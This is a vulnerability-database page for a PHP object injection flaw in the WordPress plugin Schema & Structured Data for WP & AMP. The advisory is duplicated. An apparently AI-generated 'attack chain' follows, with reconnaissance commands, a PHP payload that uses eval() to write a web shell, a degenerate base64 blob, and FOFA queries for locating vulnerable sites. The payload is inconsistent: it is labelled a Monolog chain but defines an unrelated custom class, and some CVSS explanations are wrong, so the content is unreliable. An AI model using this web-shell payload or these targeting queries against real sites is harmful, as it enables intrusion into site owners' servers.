CVE Professor
/
All CVEs
CVE-2026-113774

CVE-2026-113774 — Magazine3 Schema & Structured Data For WP & AMP — CWE-502

HIGH CVSS 8.8 NVD

The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.68. This is due to deserialization of untrusted input via the admin export (saswp_export_all_settings_and_schema) which calls unrestricted unserialize() on every raw post meta value, combined with saswp_review_form_process_data() which stores unauthenticated-visitor-supplied reviewer-name data through update_post_meta — the plugin sanitizes with sanitize_text_field(), which does not recognise PHP serialization syntax or the NUL property-name delimiters, and WordPress's maybe_serialize/is_serialized has no case for the legacy PHP 'C' custom-serialization token (ArrayObject), so the payload is persisted byte-for-byte and never wrapped in a protective extra serialize layer. This makes it possible for unauthenticated attackers to inject a PHP Object into the processing of the plugin. No known POP chain is present in the vulnerable plugin itself, but if a suitable chain exists via an additional plugin or theme installed on the blog, it could be used to delete arbitrary files, or achieve other impacts. Successful exploitation additionally requires an action by an administrator — the attacker cannot trigger the vulnerability on their own.

The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.68. This is due to deserialization of untrusted input via the admin export (saswp_export_all_settings_and_schema) which calls unrestricted unserialize() on every raw post meta value, combined with saswp_review_form_process_data() which stores unauthenticated-visitor-supplied reviewer-name data through update_post_meta — the plugin sanitizes with sanitize_text_field(), which does not recognise PHP serialization syntax or the NUL property-name delimiters, and WordPress's maybe_serialize/is_serialized has no case for the legacy PHP 'C' custom-serialization token (ArrayObject), so the payload is persisted byte-for-byte and never wrapped in a protective extra serialize layer. This makes it possible for unauthenticated attackers to inject a PHP Object into the processing of the plugin. No known POP chain is present in the vulnerable plugin itself, but if a suitable chain exists via an additional plugin or theme installed on the blog, it could be used to delete arbitrary files, or achieve other impacts. Successful exploitation additionally requires an action by an administrator — the attacker cannot trigger the vulnerability on their own.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability type – PHP Object Injection (POI) – CWE‑502

Affected component – The Schema & Structured Data for WP & AMP plugin (slug saswp) version ≤ 1.68.

Root cause

StepWhat the plugin doesWhy it is unsafe
1️⃣The front‑end *review* form (saswp_review_form_process_data()) accepts a field called reviewer‑name from any visitor (no authentication required). The value is stored with update_post_meta( $post_id, '_saswp_reviewer_name', $value ).The value is not filtered for serialized data – sanitize_text_field() only strips tags and removes control characters, but it does not recognise PHP serialization syntax (O:…, C:…, a:…, etc.) or the NUL byte (\0) that separates object property names.
2️⃣The admin‑only *export* routine (saswp_export_all_settings_and_schema) iterates over all post meta belonging to the plugin and runs unserialize( $raw_meta ) on each entry without any prior validation.unserialize() will reconstruct any PHP object that was previously serialized, invoking the object’s magic methods (__wakeup(), __destruct(), __toString(), etc.). If the attacker can place a crafted serialized string into a meta field, the admin’s request will automatically trigger the deserialization.
3️⃣WordPress helper maybe_serialize() / is_serialized() does not recognise the legacy PHP “C” custom‑serialization token that ArrayObject uses, so the payload is stored byte‑for‑byte and never wrapped in an additional safe serialize layer.The payload survives the round‑trip unchanged, reaching the vulnerable unserialize() call.

Missing protection

No authentication/authorization check on the review* endpoint – any internet user can write arbitrary data to post meta.

  • No type‑checking or whitelist before calling unserialize().

  • The plugin relies on WordPress’ generic maybe_serialize() helpers, which are insufficient for the “C” token used by ArrayObject.
  • CVSS‑3.1 breakdown

  • AV:N – Network reachable (any visitor can reach the review endpoint).
  • AC:L – Low attack complexity (just craft a POST request).
  • PR:N – No privileges required to inject the payload.
  • UI:R – User interaction required: an administrator must later trigger the export action.
  • S:U – Impact is universal* (does not depend on the attacker’s privileges).
  • C:H / I:H / A:H – Successful exploitation can lead to complete compromise (arbitrary file write/delete, remote code execution, data exfiltration).

⚡ Attack Chain

Below is a realistic end‑to‑end scenario. All URLs, parameter names, and payloads are illustrative – the exact endpoint names are taken from the source code (admin‑ajax.php?action=saswp_review_form_process_data and admin‑ajax.php?action=saswp_export_all_settings_and_schema), which are the public entry points used by the plugin.

1️⃣ Discovery & Reconnaissance

ActionTool / TechniqueExpected Result
a. Identify the site runs WordPresswhatweb, Wappalyzer, BuiltWithX-Powered-By: WordPress header, typical /wp-content/ paths.
b. Enumerate installed pluginswp‑plugin‑enumerator, wpscan --enumerate pFinds schema-and-structured-data-for-wp-amp with version 1.68 (or older).
c. Locate the vulnerable functionsDownload readme.txt or the plugin zip from the WP repo, grep for saswp_review_form_process_data and saswp_export_all_settings_and_schema.Confirms the presence of the two functions described in the CVE.
d. Verify that the *review* endpoint is reachable without authenticationcurl -I "https://target.com/wp-admin/admin-ajax.php?action=saswp_review_form_process_data"Returns 200 OK and a JSON response indicating the form is accepted.

2️⃣ Exploitation – Injecting a serialized object

Goal: Store a malicious serialized payload in the post meta field _saswp_reviewer_name.

2.1 Choose a gadget chain

The plugin itself does not ship a POP (property‑oriented programming) chain, but most WordPress installations contain at least one other plugin/theme that does (e.g., WP File Manager, Yoast SEO, Contact Form 7). For illustration we will use a generic Monolog\Handler\SyslogUdpHandler → Monolog\Formatter\LineFormatter chain that is present in many sites that load the Monolog library via Composer. The chain ends in __destruct() writing to a file.

Important: The exact class names must exist in the target environment; otherwise the payload will simply be unserialized without side effects.

2.2 Build the payload (PHP)

<?php
// Payload for a generic Monolog chain (illustrative only)
class Evil {
    public $cmd;
    public function __destruct() {
        // This will be executed when the object is destroyed during unserialize()
        eval($this->cmd);
    }
}

// The command we want to run – create a web‑shell at wp-content/uploads/shell.php
$php = 'file_put_contents(__DIR__."/../uploads/shell.php","<?php system($_GET[\'c\']);?>");';

// Serialize the object
$payload = serialize(new Evil(['cmd' => $php]));

// Encode for transport (URL‑encode + base64 to avoid NUL stripping)
$payload = base64_encode($payload);
echo $payload;
?>

Assume the generated base64 string is `TzoxMDoiRXZpbCI6MTp7czozOiJ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i4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="/wp-content/plugins/schema-structured-data-for-wp-amp"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
magazine3:Schema & Structured Data for WP & AMP (1.68)
Related CVEs
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
8.7
CVE-2026-132098
Deserialization of untrusted data in the XStream reader used for push publishing bundles (XStreamHandler) in d
8.5
CVE-2026-144447
MassCube before 1.2.23 contains an insecure deserialization vulnerability that allows attackers to execute cod
8.5
CVE-2026-144450
galpy through 1.12.2 contains an insecure deserialization vulnerability that allows attackers to execute code
8.5
CVE-2026-144451
VIP (vip-hci) through 2.1.2 contains an unsafe deserialization vulnerability in Saveable.load that allows atta
7.7
CVE-2026-120765
Deserialization of untrusted data in the Redis cache and pub/sub codecs in dotCMS versions before 26.11.02-01
7.5
CVE-2026-120107
Deserialization of untrusted data in the Apps secrets import (POST /api/v1/apps/import, and the dotAuth import